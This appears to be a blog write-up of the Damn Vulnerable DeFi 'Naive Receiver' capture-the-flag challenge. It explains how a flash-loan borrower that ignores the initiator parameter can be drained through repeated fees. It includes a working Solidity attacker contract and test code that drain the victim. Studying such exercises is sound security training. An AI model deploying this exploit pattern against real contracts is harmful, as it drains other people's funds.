In this blog post I would walk you through my solution and my thought process for the second Damn Vulnerable DeFi challenge - Naive Receiver.
Goal
In this challenge our objective is to drain all funds from the FlashLoanReceiver
smart contract, which holds a balance of 10 ETH, using the NaiveReceiverLenderPool
flash loan lending contract.
The lending contract begins with a balance of 1000 ETH and charges a fixed fee of 1 ETH for each flash loan.
Prerequisites
Familiarity with the ERC-3156: Flash Loans standard is assumed for this challenge. If you’re not acquainted with it, I recommend familiarizing yourself with it beforehand.
Rundown
Let’s explore the two contracts in this challenge. We will start with the NaiveReceiverLenderPool
.
NaiveReceiverLenderPool
The NaiveReceiverLenderPool
serves as a standard implementation of a flash loan lender.
Notably, the contract features the ETH
constant, represented by 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE
. This address serves as a placeholder for ETH in token-based protocols. The use of this vanity address in the ERC-3156 lender API allows for seamless integration with flash lenders, accommodating ETH as a non-token asset.
If the requested loan is for ETH
then the maxFlashLoan()
function returns its ETH balance:
function maxFlashLoan(address token) external view returns (uint256) {
if (token == ETH) {
return address(this).balance;
}
return 0;
}
The lender charges a fixed fee of 1 ether
for each flash loan, except for loans with a token != ETH
, which trigger an error called UnsupportedCurrency()
:
uint256 private constant FIXED_FEE = 1 ether;
// ....
function flashFee(address token, uint256) external pure returns (uint256) {
if (token != ETH)
revert UnsupportedCurrency();
return FIXED_FEE;
}
The lender also features an empty implementation of a receive()
function which allows ETH deposits that the lender could then offer as flash loans:
receive() external payable {}
The core function of this contract is flashLoan()
. It follows the ERC-3156 specification and has 4 arguments:
receiver
(type:IERC3156FlashBorrower
) - the recipient of the flash loantoken
(type:address
) - the token address for the loan requestamount
(type:uint256
) - the loan amountdata
(type:bytes calldata
) - the lender can provide arbitrary data to the borrower to preserve context during loan reception according to the ERC-3156 standard
Similar to the other functions, flashLoan()
verifies if an ETH loan is being requested. If not, the function reverts with UnsupportedCurrency()
error:
if (token != ETH)
revert UnsupportedCurrency();
A snapshot of the lender balance is taken before sending the loan to the borrower. This is used later on to check if the loan along with all accrued fees is returned:
uint256 balanceBefore = address(this).balance;
Next, the loan is sent to the borrower. For the transfer, solady’s SafeTransferLib
is used. solady
is a popular library which provides gas-optimized Solidity snippets.
// Transfer ETH and handle control to receiver
SafeTransferLib.safeTransferETH(address(receiver), amount);
In case you are curious what exactly SafeTransferLib.safeTransferETH()
does under the hood, here is its implementation:
function safeTransferETH(address to, uint256 amount) internal {
/// @solidity memory-safe-assembly
assembly {
// Transfer the ETH and check if it succeeded or not.
if iszero(call(gas(), to, amount, 0, 0, 0, 0)) {
// Store the function selector of `ETHTransferFailed()`.
mstore(0x00, 0xb12d13eb)
// Revert with (offset, size).
revert(0x1c, 0x04)
}
}
}
The following steps are performed:
amount
ETH (in wei) is sent toto
usingcall()
- the result of
call()
is checked - if the result is
0
(unsuccessful transfer):0xb12d13eb
(orETHTransferFailed()
) is stored at memory offset0x00
;- the function reverts with the stored function selector, i.e.
ETHTransferFailed()
This gas-optimized helper function ensures secure ETH transfers by eliminating the need to manually check the result of a call()
function.
Returning to our flashLoan()
implementation, the next step is to invoke the borrower’s onFlashLoan()
callback. Following the ERC-3156 specification, it verifies if the callback returns the magic value keccak256("ERC3156FlashBorrower.onFlashLoan")
. If not, the function reverts with CallbackFailed()
error:
if(receiver.onFlashLoan(
msg.sender,
ETH,
amount,
FIXED_FEE,
data
) != CALLBACK_SUCCESS) {
revert CallbackFailed();
}
At the end of the function, the lender checks whether the loan is paid in full along with all accrued fees. If that is not the case, the function fails with RepayFailed()
:
if (address(this).balance < balanceBefore + FIXED_FEE)
revert RepayFailed();
If all above functionalities worked as expected and the contract did not revert with any error, the function returns true
as per the ERC-3156 spec.
FlashLoanReceiver
Let’s take a look at the borrower contract that targeted in this challenge.
Similar to the flash loan lender, the borrower contract utilizes the matching vanity address 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE
to request an ETH loan.
The contract constructor takes a single argument which is the address of a flash loan pool:
constructor(address _pool) {
pool = _pool;
}
In the naive-receiver.challenge.js
file we could see that the pool that is passed is the NaiveReceiverLenderPool
:
receiver = await FlashLoanReceiverFactory.deploy(pool.address);
This contract also contains an empty receive()
function which allows ETH to be deposited to it.
Now let’s take a look at the implementation of the onFlashLoan
callback which is the heart of every flash loan receiver. As per ERC-3156, this function takes 5 arguments:
initiator
(type:address
) - the address that initiated the loan.token
(type:address
) - the address of the flash loan token.amount
(type:uint256
) - the loaned amount oftoken
.fee
(type:uint256
) - the accrued fee for the loan, which must be repaid along with the loaned amount (i.e.,amount + fee
).data
(type:bytes calldata
) - an arbitrary array of bytes, mentioned earlier, that can contain any contextual data relevant to the flash loan borrower.
The function begins by verifying that msg.sender
(or caller()
in Yul) is the same as the pool
state variable. If they are not equal, the function reverts with InvalidCaller()
error. You should already be familiar with this Yul logic pattern:
assembly { // gas savings
if iszero(eq(sload(pool.slot), caller())) {
mstore(0x00, 0x48f5c3ed)
revert(0x1c, 0x04)
}
}
Next it is verified if the request loan is for ETH:
if (token != ETH)
revert UnsupportedCurrency();
Then the total amount to be repaid is calculated (amount
+ fee
):
uint256 amountToBeRepaid;
unchecked {
amountToBeRepaid = amount + fee;
}
We notice the usage of addition in an unchecked
block. This is something that should always catch our attention as smart contract auditors due to potential under-/overflow risks.
Next, the empty placeholder function _executeActionDuringFlashLoan()
is invoked. In an actual contract, this function would typically include logic to utilize the borrowed funds.
Once _executeActionDuringFlashLoan()
is executed, the amountToBeRepaid
is transferred back to the flash loan pool:
// Return funds to pool
SafeTransferLib.safeTransferETH(pool, amountToBeRepaid);
As per the ERC-3156 spec, the function returns the magic value of keccak256("ERC3156FlashBorrower.onFlashLoan")
Solution
Let’s pay close attention to FlashLoanReceiver
’s onFlashLoan()
callback implementation:
function onFlashLoan(
address,
address token,
uint256 amount,
uint256 fee,
bytes calldata
) external returns (bytes32) {
// ...
}
You may have noticed that the initiator
and data
parameters are not utilized here (as they are unnamed). While data
is not particularly relevant in this case, the initiator
parameter holds semantic significance in ERC-3156. IERC3156FlashLenders
are required to pass their msg.sender
value as the initiator
argument to IERC3156FlashBorrowers
to facilitate loan request verification.
It is considered good practice for an IERC3156FlashBorrower
implementation to enforce restrictions on which specific address
es are permitted to request flash loans on their behalf. Failing to implement such checks creates a potential attack vector wherein a malicious contract could initiate a flash loan on behalf of the borrower:
This is precisely how we would deplete all the funds from FlashLoanReceiver
in this challenge.
We create a new contract called NaiveAttacker
that requests loans from NaiveReceiverLenderPool
on behalf of FlashLoanReceiver
. For each loan requested, FlashLoanReceiver
incurs a fee of 1 ETH. Therefore, if we request 10 loans, all the funds will be depleted:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/interfaces/IERC3156FlashLender.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
contract NaiveAttacker {
address public constant ETH =
0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
function executeAttack(
IERC3156FlashLender lenderPool,
IERC3156FlashBorrower victim) external {
bytes memory emptyCalldata = new bytes(0);
for (uint256 i = 0; i < 10; i++) {
lenderPool.flashLoan(victim, ETH, 1, emptyCalldata);
}
}
}
To perform the attack, we need to code our solution in naive-receiver.challenge.js
as follows:
it('Execution', async function () {
const NaiveAttackerFactory = await ethers
.getContractFactory('NaiveAttacker', deployer);
let naiveAttacker = await NaiveAttackerFactory.deploy();
naiveAttacker.connect(player)
.executeAttack(pool.address, receiver.address);
});
In summary, we deploy the NaiveAttacker
contract and then invoke its executeAttack()
function, providing the addresses of the pool
and the receiver
as arguments.
To verify our solution, we execute:
$ yarn run naive-receiver
and voilà - the challenge is successfully solved!
Outro
This challenge highlights the significance of IERC3156FlashBorrower
s validating the initiator
of a flash loan. By doing so, it helps safeguard against malicious actors who could exploit the borrower and deplete its funds through fees.
As usual, your feedback is highly valued and appreciated. Don’t hesitate to contact me on Twitter or Discord.